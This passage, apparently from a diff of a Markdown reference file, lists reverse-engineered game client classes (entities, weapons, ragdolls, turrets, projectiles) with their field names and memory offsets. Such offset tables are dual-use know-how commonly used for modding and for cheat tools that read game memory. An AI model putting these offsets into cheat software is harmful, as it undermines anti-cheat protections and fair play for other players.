m_ragdoll.list[24 + 0].parentIndex: Int, + m_ragdoll.list[24 + 1].originParentSpace: Vector, + m_ragdoll.list[24 + 1].pObject: Custom, + m_ragdoll.list[24 + 1].pConstraint: Custom, + m_ragdoll.list[24 + 1].parentIndex: Int, + m_ragdoll.list[24 + 2].originParentSpace: Vector, + m_ragdoll.list[24 + 2].pObject: Custom, + m_ragdoll.list[24 + 2].pConstraint: Custom, + m_ragdoll.list[24 + 2].parentIndex: Int, + m_ragdoll.list[24 + 3].originParentSpace: Vector, + m_ragdoll.list[24 + 3].pObject: Custom, + m_ragdoll.list[24 + 3].pConstraint: Custom, + m_ragdoll.list[24 + 3].parentIndex: Int, + m_ragdoll.list[24 + 4].originParentSpace: Vector, + m_ragdoll.list[24 + 4].pObject: Custom, + m_ragdoll.list[24 + 4].pConstraint: Custom, + m_ragdoll.list[24 + 4].parentIndex: Int, + m_ragdoll.list[24 + 5].originParentSpace: Vector, + m_ragdoll.list[24 + 5].pObject: Custom, + m_ragdoll.list[24 + 5].pConstraint: Custom, + m_ragdoll.list[24 + 5].parentIndex: Int, + m_ragdoll.list[24 + 6].originParentSpace: Vector, + m_ragdoll.list[24 + 6].pObject: Custom, + m_ragdoll.list[24 + 6].pConstraint: Custom, + m_ragdoll.list[24 + 6].parentIndex: Int, + m_ragdoll.list[24 + 7].originParentSpace: Vector, + m_ragdoll.list[24 + 7].pObject: Custom, + m_ragdoll.list[24 + 7].pConstraint: Custom, + m_ragdoll.list[24 + 7].parentIndex: Int, + m_ragdoll.boneIndex: Int, +} +``` + +### Offsets + +``` +CRagdoll!0x0000 m_ragdoll.listCount +CRagdoll!0x0004 m_ragdoll.allowStretch +CRagdoll!0x0008 m_ragdoll.list[0 + 0].originParentSpace +CRagdoll!0x0018 m_ragdoll.list[0 + 0].pObject +CRagdoll!0x0020 m_ragdoll.list[0 + 0].pConstraint +CRagdoll!0x0028 m_ragdoll.list[0 + 0].parentIndex +CRagdoll!0x0030 m_ragdoll.list[0 + 1].originParentSpace +CRagdoll!0x0040 m_ragdoll.list[0 + 1].pObject +CRagdoll!0x0048 m_ragdoll.list[0 + 1].pConstraint +CRagdoll!0x0050 m_ragdoll.list[0 + 1].parentIndex +CRagdoll!0x0058 m_ragdoll.list[0 + 2].originParentSpace +CRagdoll!0x0068 m_ragdoll.list[0 + 2].pObject +CRagdoll!0x0070 m_ragdoll.list[0 + 2].pConstraint +CRagdoll!0x0078 m_ragdoll.list[0 + 2].parentIndex +CRagdoll!0x0080 m_ragdoll.list[0 + 3].originParentSpace +CRagdoll!0x0090 m_ragdoll.list[0 + 3].pObject +CRagdoll!0x0098 m_ragdoll.list[0 + 3].pConstraint +CRagdoll!0x00a0 m_ragdoll.list[0 + 3].parentIndex +CRagdoll!0x00a8 m_ragdoll.list[0 + 4].originParentSpace +CRagdoll!0x00b8 m_ragdoll.list[0 + 4].pObject +CRagdoll!0x00c0 m_ragdoll.list[0 + 4].pConstraint +CRagdoll!0x00c8 m_ragdoll.list[0 + 4].parentIndex +CRagdoll!0x00d0 m_ragdoll.list[0 + 5].originParentSpace +CRagdoll!0x00e0 m_ragdoll.list[0 + 5].pObject +CRagdoll!0x00e8 m_ragdoll.list[0 + 5].pConstraint +CRagdoll!0x00f0 m_ragdoll.list[0 + 5].parentIndex +CRagdoll!0x00f8 m_ragdoll.list[0 + 6].originParentSpace +CRagdoll!0x0108 m_ragdoll.list[0 + 6].pObject +CRagdoll!0x0110 m_ragdoll.list[0 + 6].pConstraint +CRagdoll!0x0118 m_ragdoll.list[0 + 6].parentIndex +CRagdoll!0x0120 m_ragdoll.list[0 + 7].originParentSpace +CRagdoll!0x0130 m_ragdoll.list[0 + 7].pObject +CRagdoll!0x0138 m_ragdoll.list[0 + 7].pConstraint +CRagdoll!0x0140 m_ragdoll.list[0 + 7].parentIndex +CRagdoll!0x0148 m_ragdoll.list[8 + 0].originParentSpace +CRagdoll!0x0158 m_ragdoll.list[8 + 0].pObject +CRagdoll!0x0160 m_ragdoll.list[8 + 0].pConstraint +CRagdoll!0x0168 m_ragdoll.list[8 + 0].parentIndex +CRagdoll!0x0170 m_ragdoll.list[8 + 1].originParentSpace +CRagdoll!0x0180 m_ragdoll.list[8 + 1].pObject +CRagdoll!0x0188 m_ragdoll.list[8 + 1].pConstraint +CRagdoll!0x0190 m_ragdoll.list[8 + 1].parentIndex +CRagdoll!0x0198 m_ragdoll.list[8 + 2].originParentSpace +CRagdoll!0x01a8 m_ragdoll.list[8 + 2].pObject +CRagdoll!0x01b0 m_ragdoll.list[8 + 2].pConstraint +CRagdoll!0x01b8 m_ragdoll.list[8 + 2].parentIndex +CRagdoll!0x01c0 m_ragdoll.list[8 + 3].originParentSpace +CRagdoll!0x01d0 m_ragdoll.list[8 + 3].pObject +CRagdoll!0x01d8 m_ragdoll.list[8 + 3].pConstraint +CRagdoll!0x01e0 m_ragdoll.list[8 + 3].parentIndex +CRagdoll!0x01e8 m_ragdoll.list[8 + 4].originParentSpace +CRagdoll!0x01f8 m_ragdoll.list[8 + 4].pObject +CRagdoll!0x0200 m_ragdoll.list[8 + 4].pConstraint +CRagdoll!0x0208 m_ragdoll.list[8 + 4].parentIndex +CRagdoll!0x0210 m_ragdoll.list[8 + 5].originParentSpace +CRagdoll!0x0220 m_ragdoll.list[8 + 5].pObject +CRagdoll!0x0228 m_ragdoll.list[8 + 5].pConstraint +CRagdoll!0x0230 m_ragdoll.list[8 + 5].parentIndex +CRagdoll!0x0238 m_ragdoll.list[8 + 6].originParentSpace +CRagdoll!0x0248 m_ragdoll.list[8 + 6].pObject +CRagdoll!0x0250 m_ragdoll.list[8 + 6].pConstraint +CRagdoll!0x0258 m_ragdoll.list[8 + 6].parentIndex +CRagdoll!0x0260 m_ragdoll.list[8 + 7].originParentSpace +CRagdoll!0x0270 m_ragdoll.list[8 + 7].pObject +CRagdoll!0x0278 m_ragdoll.list[8 + 7].pConstraint +CRagdoll!0x0280 m_ragdoll.list[8 + 7].parentIndex +CRagdoll!0x0288 m_ragdoll.list[16 + 0].originParentSpace +CRagdoll!0x0298 m_ragdoll.list[16 + 0].pObject +CRagdoll!0x02a0 m_ragdoll.list[16 + 0].pConstraint +CRagdoll!0x02a8 m_ragdoll.list[16 + 0].parentIndex +CRagdoll!0x02b0 m_ragdoll.list[16 + 1].originParentSpace +CRagdoll!0x02c0 m_ragdoll.list[16 + 1].pObject +CRagdoll!0x02c8 m_ragdoll.list[16 + 1].pConstraint +CRagdoll!0x02d0 m_ragdoll.list[16 + 1].parentIndex +CRagdoll!0x02d8 m_ragdoll.list[16 + 2].originParentSpace +CRagdoll!0x02e8 m_ragdoll.list[16 + 2].pObject +CRagdoll!0x02f0 m_ragdoll.list[16 + 2].pConstraint +CRagdoll!0x02f8 m_ragdoll.list[16 + 2].parentIndex +CRagdoll!0x0300 m_ragdoll.list[16 + 3].originParentSpace +CRagdoll!0x0310 m_ragdoll.list[16 + 3].pObject +CRagdoll!0x0318 m_ragdoll.list[16 + 3].pConstraint +CRagdoll!0x0320 m_ragdoll.list[16 + 3].parentIndex +CRagdoll!0x0328 m_ragdoll.list[16 + 4].originParentSpace +CRagdoll!0x0338 m_ragdoll.list[16 + 4].pObject +CRagdoll!0x0340 m_ragdoll.list[16 + 4].pConstraint +CRagdoll!0x0348 m_ragdoll.list[16 + 4].parentIndex +CRagdoll!0x0350 m_ragdoll.list[16 + 5].originParentSpace +CRagdoll!0x0360 m_ragdoll.list[16 + 5].pObject +CRagdoll!0x0368 m_ragdoll.list[16 + 5].pConstraint +CRagdoll!0x0370 m_ragdoll.list[16 + 5].parentIndex +CRagdoll!0x0378 m_ragdoll.list[16 + 6].originParentSpace +CRagdoll!0x0388 m_ragdoll.list[16 + 6].pObject +CRagdoll!0x0390 m_ragdoll.list[16 + 6].pConstraint +CRagdoll!0x0398 m_ragdoll.list[16 + 6].parentIndex +CRagdoll!0x03a0 m_ragdoll.list[16 + 7].originParentSpace +CRagdoll!0x03b0 m_ragdoll.list[16 + 7].pObject +CRagdoll!0x03b8 m_ragdoll.list[16 + 7].pConstraint +CRagdoll!0x03c0 m_ragdoll.list[16 + 7].parentIndex +CRagdoll!0x03c8 m_ragdoll.list[24 + 0].originParentSpace +CRagdoll!0x03d8 m_ragdoll.list[24 + 0].pObject +CRagdoll!0x03e0 m_ragdoll.list[24 + 0].pConstraint +CRagdoll!0x03e8 m_ragdoll.list[24 + 0].parentIndex +CRagdoll!0x03f0 m_ragdoll.list[24 + 1].originParentSpace +CRagdoll!0x0400 m_ragdoll.list[24 + 1].pObject +CRagdoll!0x0408 m_ragdoll.list[24 + 1].pConstraint +CRagdoll!0x0410 m_ragdoll.list[24 + 1].parentIndex +CRagdoll!0x0418 m_ragdoll.list[24 + 2].originParentSpace +CRagdoll!0x0428 m_ragdoll.list[24 + 2].pObject +CRagdoll!0x0430 m_ragdoll.list[24 + 2].pConstraint +CRagdoll!0x0438 m_ragdoll.list[24 + 2].parentIndex +CRagdoll!0x0440 m_ragdoll.list[24 + 3].originParentSpace +CRagdoll!0x0450 m_ragdoll.list[24 + 3].pObject +CRagdoll!0x0458 m_ragdoll.list[24 + 3].pConstraint +CRagdoll!0x0460 m_ragdoll.list[24 + 3].parentIndex +CRagdoll!0x0468 m_ragdoll.list[24 + 4].originParentSpace +CRagdoll!0x0478 m_ragdoll.list[24 + 4].pObject +CRagdoll!0x0480 m_ragdoll.list[24 + 4].pConstraint +CRagdoll!0x0488 m_ragdoll.list[24 + 4].parentIndex +CRagdoll!0x0490 m_ragdoll.list[24 + 5].originParentSpace +CRagdoll!0x04a0 m_ragdoll.list[24 + 5].pObject +CRagdoll!0x04a8 m_ragdoll.list[24 + 5].pConstraint +CRagdoll!0x04b0 m_ragdoll.list[24 + 5].parentIndex +CRagdoll!0x04b8 m_ragdoll.list[24 + 6].originParentSpace +CRagdoll!0x04c8 m_ragdoll.list[24 + 6].pObject +CRagdoll!0x04d0 m_ragdoll.list[24 + 6].pConstraint +CRagdoll!0x04d8 m_ragdoll.list[24 + 6].parentIndex +CRagdoll!0x04e0 m_ragdoll.list[24 + 7].originParentSpace +CRagdoll!0x04f0 m_ragdoll.list[24 + 7].pObject +CRagdoll!0x04f8 m_ragdoll.list[24 + 7].pConstraint +CRagdoll!0x0500 m_ragdoll.list[24 + 7].parentIndex +CRagdoll!0x0508 m_ragdoll.boneIndex +``` +
+
+class CTurret extends C_BaseAnimatingOverlay + +``` +{ + m_aimAngle: Float, + m_minConeAngle: Float, + m_maxConeAngle: Float, +} +``` + +### Offsets + +``` +CTurret!0x19bc m_aimAngle +CTurret!0x19c8 m_minConeAngle +CTurret!0x19d4 m_maxConeAngle +``` +
+
+class CWeaponX extends C_BaseAnimating + +``` +{ + m_localOrigin: Vector, + m_nNextThinkTick: Int, + m_SequenceTransitioner: C_SequenceTransitioner, + m_weaponOwner: EHANDLE, + m_lastPrimaryAttack: Time, + m_nextReadyTime: Time, + m_nextPrimaryAttackTime: Time, + m_attackTimeThisFrame: Time, + m_worldModelIndexOverride: Int, + m_iWorldModelIndex: Int, + m_holsterModelIndex: Int, + m_droppedModelIndex: Int, + m_nIdealSequence: Int, + m_IdealActivity: Int, + m_weaponActivity: Int, + m_ActiveState: Int, + m_ammoInClip: Int, + m_ammoInStockpile: Int, + m_lifetimeShots: Int, + m_flTimeWeaponIdle: Time, + m_weapState: Int, + m_discarded: Bool, + m_bInReload: Bool, + m_tossRelease: Int, + m_customActivity: Int, + m_customActivitySequence: Int, + m_customActivityOwner: EHANDLE, + m_customActivityEndTime: Time, + m_customActivityFlags: Char, + m_playerData: WeaponPlayerData, + m_targetingLaserEnabledScript: Bool, + m_needsReloadCheck: Bool, + m_needsEmptyCycleCheck: Bool, + m_skinOverride: Int, + m_skinOverrideIsValid: Bool, + m_chargeStartTime: Time, + m_chargeEndTime: Time, + m_lastChargeFrac: Float, + m_lastRegenTime: Time, + m_cooldownEndTime: Time, + m_stockPileWasDraining: Bool, + m_weaponIsCharging: Bool, + m_weaponChargeLevelIncreasedAnimPlaying: Bool, + m_lastChargeLevel: Int, + m_chargeEnergyDepleteStepCounter: Int, + m_burstFireCount: Int, + m_burstFireIndex: Int, + m_shotIndexForSpread: Int, + m_shotCount: Int, + m_sustainedDischargeEndTime: Time, + m_sustainedLaserCurrentSpread: Float, + m_sustainedDischargeIsInPrimaryAttack: Bool, + m_sustainedLaserNextRandomSeed: Char, + m_modBitfieldFromPlayer: Int, + m_modBitfieldInternal: Int, + m_modBitfieldCurrent: Int, + m_curSharedEnergyCost: Int, + m_grappleWeaponNeedsDryfire: Bool, + m_scriptActivated: Bool, + m_flNextEmptySoundTime: Float, + m_bRemoveable: Bool, +} +``` + +### Offsets + +``` +CWeaponX!0x0158 m_localOrigin +CWeaponX!0x054c m_nNextThinkTick +CWeaponX!0x0c00 m_SequenceTransitioner +CWeaponX!0x1600 m_weaponOwner +CWeaponX!0x1604 m_lastPrimaryAttack +CWeaponX!0x1608 m_nextReadyTime +CWeaponX!0x160c m_nextPrimaryAttackTime +CWeaponX!0x1610 m_attackTimeThisFrame +CWeaponX!0x1614 m_worldModelIndexOverride +CWeaponX!0x1618 m_iWorldModelIndex +CWeaponX!0x161c m_holsterModelIndex +CWeaponX!0x1620 m_droppedModelIndex +CWeaponX!0x1624 m_nIdealSequence +CWeaponX!0x1628 m_IdealActivity +CWeaponX!0x162c m_weaponActivity +CWeaponX!0x1630 m_ActiveState +CWeaponX!0x1634 m_ammoInClip +CWeaponX!0x1638 m_ammoInStockpile +CWeaponX!0x163c m_lifetimeShots +CWeaponX!0x1640 m_flTimeWeaponIdle +CWeaponX!0x1644 m_weapState +CWeaponX!0x1649 m_discarded +CWeaponX!0x164a m_bInReload +CWeaponX!0x1650 m_tossRelease +CWeaponX!0x1654 m_customActivity +CWeaponX!0x1658 m_customActivitySequence +CWeaponX!0x165c m_customActivityOwner +CWeaponX!0x1660 m_customActivityEndTime +CWeaponX!0x1664 m_customActivityFlags +CWeaponX!0x1668 m_playerData +CWeaponX!0x174c m_targetingLaserEnabledScript +CWeaponX!0x174d m_needsReloadCheck +CWeaponX!0x174e m_needsEmptyCycleCheck +CWeaponX!0x1750 m_skinOverride +CWeaponX!0x1754 m_skinOverrideIsValid +CWeaponX!0x1758 m_chargeStartTime +CWeaponX!0x175c m_chargeEndTime +CWeaponX!0x1760 m_lastChargeFrac +CWeaponX!0x1764 m_lastRegenTime +CWeaponX!0x1768 m_cooldownEndTime +CWeaponX!0x176c m_stockPileWasDraining +CWeaponX!0x176d m_weaponIsCharging +CWeaponX!0x176e m_weaponChargeLevelIncreasedAnimPlaying +CWeaponX!0x1770 m_lastChargeLevel +CWeaponX!0x1774 m_chargeEnergyDepleteStepCounter +CWeaponX!0x1778 m_burstFireCount +CWeaponX!0x177c m_burstFireIndex +CWeaponX!0x1780 m_shotIndexForSpread +CWeaponX!0x1784 m_shotCount +CWeaponX!0x1788 m_sustainedDischargeEndTime +CWeaponX!0x178c m_sustainedLaserCurrentSpread +CWeaponX!0x1790 m_sustainedDischargeIsInPrimaryAttack +CWeaponX!0x1791 m_sustainedLaserNextRandomSeed +CWeaponX!0x1794 m_modBitfieldFromPlayer +CWeaponX!0x1798 m_modBitfieldInternal +CWeaponX!0x179c m_modBitfieldCurrent +CWeaponX!0x17a0 m_curSharedEnergyCost +CWeaponX!0x17a4 m_grappleWeaponNeedsDryfire +CWeaponX!0x17a5 m_scriptActivated +CWeaponX!0x2c10 m_flNextEmptySoundTime +CWeaponX!0x2c36 m_bRemoveable +``` +
+
+class C_BaseAnimating extends C_BaseEntity + +``` +{ + m_currentFrame.animCycle: Float, + m_animNetworkFlags: Int, + m_networkAnimActive: Bool, + m_animActive: Bool, + m_animCollisionEnabled: Bool, + m_animRelativeToGroundEnabled: Bool, + m_animPlantingEnabled: Bool, + m_predictedAnimEventData: PredictedAnimEventData, + m_SequenceTransitioner: C_SequenceTransitioner, + m_nSkin: Int, + m_skinMod: Short, + m_nBody: Int, + m_nResetEventsParity: Int, + m_bSequenceFinished: Bool, + m_bSequenceLooped: Bool, + m_bSequenceLoops: Bool, + m_flModelScale: Float, + m_currentFrameBaseAnimating.animStartTime: Float, + m_currentFrameBaseAnimating.animStartCycle: Float, + m_currentFrameBaseAnimating.animPlaybackRate: Float, + m_currentFrameBaseAnimating.animModelIndex: Int, + m_currentFrameBaseAnimating.animSequence: Int, + m_currentFrameBaseAnimating.animSequenceParity: Int, + m_currentFrameBaseAnimating.m_flPoseParameters: Float, +} +``` + +### Offsets + +``` +C_BaseAnimating!0x00c4 m_currentFrame.animCycle +C_BaseAnimating!0x0a68 m_animNetworkFlags +C_BaseAnimating!0x0a6c m_networkAnimActive +C_BaseAnimating!0x0a6e m_animActive +C_BaseAnimating!0x0a6f m_animCollisionEnabled +C_BaseAnimating!0x0a70 m_animRelativeToGroundEnabled +C_BaseAnimating!0x0a71 m_animPlantingEnabled +C_BaseAnimating!0x0b68 m_predictedAnimEventData +C_BaseAnimating!0x0c00 m_SequenceTransitioner +C_BaseAnimating!0x0e88 m_nSkin +C_BaseAnimating!0x0e8c m_skinMod +C_BaseAnimating!0x0e90 m_nBody +C_BaseAnimating!0x0e9c m_nResetEventsParity +C_BaseAnimating!0x0f34 m_bSequenceFinished +C_BaseAnimating!0x0f3c m_bSequenceLooped +C_BaseAnimating!0x0f3d m_bSequenceLoops +C_BaseAnimating!0x0f40 m_flModelScale +C_BaseAnimating!0x0f4c m_currentFrameBaseAnimating.animStartTime +C_BaseAnimating!0x0f50 m_currentFrameBaseAnimating.animStartCycle +C_BaseAnimating!0x0f54 m_currentFrameBaseAnimating.animPlaybackRate +C_BaseAnimating!0x0f5c m_currentFrameBaseAnimating.animModelIndex +C_BaseAnimating!0x0f60 m_currentFrameBaseAnimating.animSequence +C_BaseAnimating!0x0f64 m_currentFrameBaseAnimating.animSequenceParity +C_BaseAnimating!0x0f68 m_currentFrameBaseAnimating.m_flPoseParameters +``` +
+
+class C_BaseAnimatingOverlay extends C_BaseAnimating + +``` +{ + m_AnimOverlay: C_AnimationLayer, + m_AnimOverlayCount: Int, + m_currentFrameAnimatingOverlay.animOverlayIsActive: Bool, + m_currentFrameAnimatingOverlay.animOverlayStartTime: Float, + m_currentFrameAnimatingOverlay.animOverlayStartCycle: Float, + m_currentFrameAnimatingOverlay.animOverlayPlaybackRate: Float, + m_currentFrameAnimatingOverlay.animOverlayModelIndex: Int, + m_currentFrameAnimatingOverlay.animOverlaySequence: Int, + m_currentFrameAnimatingOverlay.animOverlayWeight: Float, + m_currentFrameAnimatingOverlay.animOverlayOrder: Int, + m_currentFrameAnimatingOverlay.animOverlayAnimTime: Float, + m_currentFrameAnimatingOverlay.animOverlayFadeInDuration: Float, + m_currentFrameAnimatingOverlay.animOverlayFadeOutDuration: Float, + m_currentFrameAnimatingOverlay.animOverlayCycle: Float, +} +``` + +### Offsets + +``` +C_BaseAnimatingOverlay!0x1608 m_AnimOverlay +C_BaseAnimatingOverlay!0x16e0 m_AnimOverlayCount +C_BaseAnimatingOverlay!0x1724 m_currentFrameAnimatingOverlay.animOverlayIsActive +C_BaseAnimatingOverlay!0x1730 m_currentFrameAnimatingOverlay.animOverlayStartTime +C_BaseAnimatingOverlay!0x1754 m_currentFrameAnimatingOverlay.animOverlayStartCycle +C_BaseAnimatingOverlay!0x1778 m_currentFrameAnimatingOverlay.animOverlayPlaybackRate +C_BaseAnimatingOverlay!0x179c m_currentFrameAnimatingOverlay.animOverlayModelIndex +C_BaseAnimatingOverlay!0x17c0 m_currentFrameAnimatingOverlay.animOverlaySequence +C_BaseAnimatingOverlay!0x17e4 m_currentFrameAnimatingOverlay.animOverlayWeight +C_BaseAnimatingOverlay!0x1808 m_currentFrameAnimatingOverlay.animOverlayOrder +C_BaseAnimatingOverlay!0x182c m_currentFrameAnimatingOverlay.animOverlayAnimTime +C_BaseAnimatingOverlay!0x1850 m_currentFrameAnimatingOverlay.animOverlayFadeInDuration +C_BaseAnimatingOverlay!0x1874 m_currentFrameAnimatingOverlay.animOverlayFadeOutDuration +C_BaseAnimatingOverlay!0x1898 m_currentFrameAnimatingOverlay.animOverlayCycle +``` +
+
+class C_BaseCombatCharacter extends C_BaseAnimatingOverlay + +``` +{ + m_currentFrame.weaponGettingSwitchedOut: EHANDLE, + m_currentFrame.showActiveWeapon3p: Bool, + m_deathVelocity: Float, + m_phaseShiftFlags: Int, + m_flNextAttack: Time, + m_lastFiredTime: Time, + m_lastFiredWeapon: EHANDLE, + m_raiseFromMeleeEndTime: Time, + m_sharedEnergyCount: Int, + m_sharedEnergyTotal: Int, + m_sharedEnergyLockoutThreshold: Int, + m_lastSharedEnergyRegenTime: Time, + m_sharedEnergyRegenRate: Time, + m_sharedEnergyRegenDelay: Float, + m_lastSharedEnergyTakeTime: Time, + m_inventory: WeaponInventory_Client, + m_selectedWeapons: Char, + m_latestPrimaryWeapons: EHANDLE, + m_latestPrimaryWeaponsIndexZeroOrOne: EHANDLE, + m_latestNonOffhandWeapons: Char, + m_selectedOffhands: Char, + m_selectedOffhandsPendingHybridAction: Char, + m_lastCycleSlot: Char, + m_latestMeleeWeapon: EHANDLE, + m_weaponPermission: Int, + m_weaponDelayEnableTime: Time, + m_weaponDisabledInScript: Bool, + m_weaponDisabledFlags: Char, + m_weaponTypeDisabledFlags: Int, + m_weaponTypeDisabledRefCount: Char, + m_hudInfo_visibilityTestAlwaysPasses: Bool, + m_contextAction: Int, + m_phaseShiftTimeStart: Time, + m_phaseShiftTimeEnd: Time, +} +``` + +### Offsets + +``` +C_BaseCombatCharacter!0x00c8 m_currentFrame.weaponGettingSwitchedOut +C_BaseCombatCharacter!0x00d0 m_currentFrame.showActiveWeapon3p +C_BaseCombatCharacter!0x0454 m_deathVelocity +C_BaseCombatCharacter!0x0790 m_phaseShiftFlags +C_BaseCombatCharacter!0x1980 m_flNextAttack +C_BaseCombatCharacter!0x1984 m_lastFiredTime +C_BaseCombatCharacter!0x1988 m_lastFiredWeapon +C_BaseCombatCharacter!0x198c m_raiseFromMeleeEndTime +C_BaseCombatCharacter!0x1990 m_sharedEnergyCount +C_BaseCombatCharacter!0x1994 m_sharedEnergyTotal +C_BaseCombatCharacter!0x1998 m_sharedEnergyLockoutThreshold +C_BaseCombatCharacter!0x199c m_lastSharedEnergyRegenTime +C_BaseCombatCharacter!0x19a0 m_sharedEnergyRegenRate +C_BaseCombatCharacter!0x19a4 m_sharedEnergyRegenDelay +C_BaseCombatCharacter!0x19a8 m_lastSharedEnergyTakeTime +C_BaseCombatCharacter!0x19b0 m_inventory +C_BaseCombatCharacter!0x1a08 m_selectedWeapons +C_BaseCombatCharacter!0x1a0c m_latestPrimaryWeapons +C_BaseCombatCharacter!0x1a14 m_latestPrimaryWeaponsIndexZeroOrOne +C_BaseCombatCharacter!0x1a1c m_latestNonOffhandWeapons +C_BaseCombatCharacter!0x1a1e m_selectedOffhands +C_BaseCombatCharacter!0x1a21 m_selectedOffhandsPendingHybridAction +C_BaseCombatCharacter!0x1a24 m_lastCycleSlot +C_BaseCombatCharacter!0x1a28 m_latestMeleeWeapon +C_BaseCombatCharacter!0x1a2c m_weaponPermission +C_BaseCombatCharacter!0x1a30 m_weaponDelayEnableTime +C_BaseCombatCharacter!0x1a34 m_weaponDisabledInScript +C_BaseCombatCharacter!0x1a59 m_weaponDisabledFlags +C_BaseCombatCharacter!0x1a5c m_weaponTypeDisabledFlags +C_BaseCombatCharacter!0x1a60 m_weaponTypeDisabledRefCount +C_BaseCombatCharacter!0x1a69 m_hudInfo_visibilityTestAlwaysPasses +C_BaseCombatCharacter!0x1a7c m_contextAction +C_BaseCombatCharacter!0x1aa8 m_phaseShiftTimeStart +C_BaseCombatCharacter!0x1aac m_phaseShiftTimeEnd +``` +
+
+class C_BaseEntity + +``` +{ + m_iEFlags: Int, + m_fFlags: Int, + m_currentFrame.modelIndex: Short, + m_currentFrame.viewOffset: Vector, + m_vecAngVelocity: Vector, + m_angAbsRotation: Vector, + m_vecAbsVelocity: Vector, + m_vecAbsOrigin: Vector, + m_localOrigin: Vector, + m_localAngles: Vector, + m_flGravity: Float, + m_flProxyRandomValue: Float, + m_hGroundEntity: EHANDLE, + m_flMaxspeed: Float, + m_visibilityFlags: Int, + m_fEffects: Int, + m_iTeamNum: Int, + m_passThroughFlags: Int, + m_passThroughThickness: Int, + m_passThroughDirection: Float, + m_deathVelocity: Vector, + m_vecVelocity: Vector, + m_angNetworkAngles: Vector, + m_flFriction: Float, + m_hOwnerEntity: EHANDLE, + m_bRenderWithViewModels: Bool, + m_nRenderFX: Char, + m_nRenderMode: Char, + m_MoveType: Char, + m_MoveCollide: Char, + m_Collision: CCollisionProperty, +} +``` + +### Offsets + +``` +C_BaseEntity!0x0058 m_iEFlags +C_BaseEntity!0x0098 m_fFlags +C_BaseEntity!0x00a8 m_currentFrame.modelIndex +C_BaseEntity!0x00b8 m_currentFrame.viewOffset +C_BaseEntity!0x0128 m_vecAngVelocity +C_BaseEntity!0x0134 m_angAbsRotation +C_BaseEntity!0x0140 m_vecAbsVelocity +C_BaseEntity!0x014c m_vecAbsOrigin +C_BaseEntity!0x0158 m_localOrigin +C_BaseEntity!0x0164 m_localAngles +C_BaseEntity!0x0408 m_flGravity +C_BaseEntity!0x040c m_flProxyRandomValue +C_BaseEntity!0x041c m_hGroundEntity +C_BaseEntity!0x0424 m_flMaxspeed +C_BaseEntity!0x0428 m_visibilityFlags +C_BaseEntity!0x042c m_fEffects +C_BaseEntity!0x0430 m_iTeamNum +C_BaseEntity!0x0448 m_passThroughFlags +C_BaseEntity!0x044c m_passThroughThickness +C_BaseEntity!0x0450 m_passThroughDirection +C_BaseEntity!0x0454 m_deathVelocity +C_BaseEntity!0x0460 m_vecVelocity +C_BaseEntity!0x046c m_angNetworkAngles +C_BaseEntity!0x0478 m_flFriction +C_BaseEntity!0x0480 m_hOwnerEntity +C_BaseEntity!0x0484 m_bRenderWithViewModels +C_BaseEntity!0x0485 m_nRenderFX +C_BaseEntity!0x0491 m_nRenderMode +C_BaseEntity!0x0492 m_MoveType +C_BaseEntity!0x0493 m_MoveCollide +C_BaseEntity!0x0498 m_Collision +``` +
+
+class C_BaseEntity + +``` +{ + m_ModelName: String, + m_fFlags: Int, + m_angAbsRotation: Vector, + m_vecAbsOrigin: PositionVector, + m_vecPrevAbsOrigin: PositionVector, + m_flGravity: Float, + m_rgflCoordinateFrame: Float, +} +``` + +### Offsets + +``` +C_BaseEntity!0x0030 m_ModelName +C_BaseEntity!0x0098 m_fFlags +C_BaseEntity!0x0134 m_angAbsRotation +C_BaseEntity!0x014c m_vecAbsOrigin +C_BaseEntity!0x03fc m_vecPrevAbsOrigin +C_BaseEntity!0x0408 m_flGravity +C_BaseEntity!0x08b0 m_rgflCoordinateFrame +``` +
+
+class C_BreakableSurface extends C_BaseEntity + +``` +{ + m_nPanelBits: Char, +} +``` + +### Offsets + +``` +C_BreakableSurface!0x0cc8 m_nPanelBits +``` +
+
+class C_ClientRagdoll extends C_BaseEntity + +``` +{ + m_clrRender: Color32, + m_nRenderFX: Char, + m_nRenderMode: Char, + m_pRagdoll: CRagdoll, + m_nSkin: Int, + m_skinMod: Short, + m_nBody: Int, + m_bFadeOut: Bool, + m_bImportant: Bool, + m_flEffectTime: Time, + m_iCurrentFriction: Int, + m_iMinFriction: Int, + m_iMaxFriction: Int, + m_flFrictionModTime: Float, + m_flFrictionTime: Time, + m_iFrictionAnimState: Int, + m_bReleaseRagdoll: Bool, + m_bFadingOut: Bool, + m_flScaleEnd: Float, + m_flScaleTimeStart: Float, + m_flScaleTimeEnd: Float, +} +``` + +### Offsets + +``` +C_ClientRagdoll!0x0050 m_clrRender +C_ClientRagdoll!0x0485 m_nRenderFX +C_ClientRagdoll!0x0491 m_nRenderMode +C_ClientRagdoll!0x0bc8 m_pRagdoll +C_ClientRagdoll!0x0e88 m_nSkin +C_ClientRagdoll!0x0e8c m_skinMod +C_ClientRagdoll!0x0e90 m_nBody +C_ClientRagdoll!0x1600 m_bFadeOut +C_ClientRagdoll!0x1601 m_bImportant +C_ClientRagdoll!0x1604 m_flEffectTime +C_ClientRagdoll!0x1608 m_iCurrentFriction +C_ClientRagdoll!0x160c m_iMinFriction +C_ClientRagdoll!0x1610 m_iMaxFriction +C_ClientRagdoll!0x1614 m_flFrictionModTime +C_ClientRagdoll!0x1618 m_flFrictionTime +C_ClientRagdoll!0x161c m_iFrictionAnimState +C_ClientRagdoll!0x1620 m_bReleaseRagdoll +C_ClientRagdoll!0x1621 m_bFadingOut +C_ClientRagdoll!0x1624 m_flScaleEnd +C_ClientRagdoll!0x164c m_flScaleTimeStart +C_ClientRagdoll!0x1674 m_flScaleTimeEnd +``` +
+
+class C_CrossbowBolt extends C_Projectile + +``` +{ + m_bounceCount: Int, + m_maxBounceCount: Int, + m_doesGrow: Bool, + m_growStartSize: Float, + m_growStage1Tick: Tick, + m_growStage1Size: Float, + m_growStage2Tick: Tick, + m_growStage2Size: Float, + m_growStageFinalTick: Tick, + m_growStageFinalSize: Float, +} +``` + +### Offsets + +``` +C_CrossbowBolt!0x2c40 m_bounceCount +C_CrossbowBolt!0x2c44 m_maxBounceCount +C_CrossbowBolt!0x2c48 m_doesGrow +C_CrossbowBolt!0x2c4c m_growStartSize +C_CrossbowBolt!0x2c50 m_growStage1Tick +C_CrossbowBolt!0x2c54 m_growStage1Size +C_CrossbowBolt!0x2c58 m_growStage2Tick +C_CrossbowBolt!0x2c5c m_growStage2Size +C_CrossbowBolt!0x2c60 m_growStageFinalTick +C_CrossbowBolt!0x2c64 m_growStageFinalSize +``` +
+
